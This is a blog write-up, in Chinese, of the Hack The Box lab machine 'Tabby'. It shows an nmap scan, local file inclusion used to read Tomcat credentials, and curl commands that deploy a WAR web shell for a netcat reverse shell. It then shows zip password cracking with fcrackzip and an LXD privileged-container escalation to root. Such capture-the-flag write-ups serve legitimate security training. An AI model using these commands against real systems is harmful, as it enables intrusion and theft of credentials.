Hack the box tabby

  1. 入口点获取
  2. 立足点
  3. 权限提升
  4. 过程的知识点

入口点获取

端口扫描

nmap --min-rate=10000 -A -sC 10.10.10.194

扫描结果:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-07 06:23 EDT
Nmap scan report for 10.10.10.194
Host is up (0.20s latency).
Not shown: 873 closed ports, 124 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80是个静态站点,8080是Tomcat,扫描目录无果,在点击某个页面的时候看见一个file参数,一开始无法访问。加入hosts即可

访问之后提醒,站点曾经大量泄漏

尝试LEFI,成功

得到用户名:ash

版本发现

尝试访问有趣的路径

/proc/self/environ
/proc/self/fd
/var/log/apache2/access.log
/var/log/apache2/error.log

并无结果

尝试读取news.php发现也不行

google一艘,发现一个tomcat的路径:

/usr/share/tomcat9/etc/tomcat-users.xml

访问后得到想要的结果

登录Tomcat

立足点

tomcat上传war getshell
https://payloads.online/archivers/2017-08-17/2 - 渗透中tomcat部署war包Getshell

使用curl getshell

curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/tests' #上传war包为haqshell
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list #列出部署的war
本机监听:nc -lvvp <lport> 浏览器访问:http://10.10.10.194:8080/tests

在web目录找到backup.zip,使用fcrackzip破解

fcrackzip -D -p /usr/share/wordlists/rockyou.txt backup.zip

尝试使用爆破出来的密码登录ssh,捞走users.txt

权限提升

查看ash用户组是lxd

提权参考:https://www.hackingarticles.in/lxd-privilege-escalation/

过程:

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
wget http://10.10.14.207:8000/alpine-v3.12-x86_64-20200707_0941.tar.gz
lxc image import ./alpine-v3.12-x86_64-20200707_0941.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

过程的知识点


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Hack the box tabby

本文作者:九世

发布时间:2020-07-08, 15:36:16

最后更新:2020-07-08, 16:18:04

原始链接:http://jiushill.github.io/posts/5c929347.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录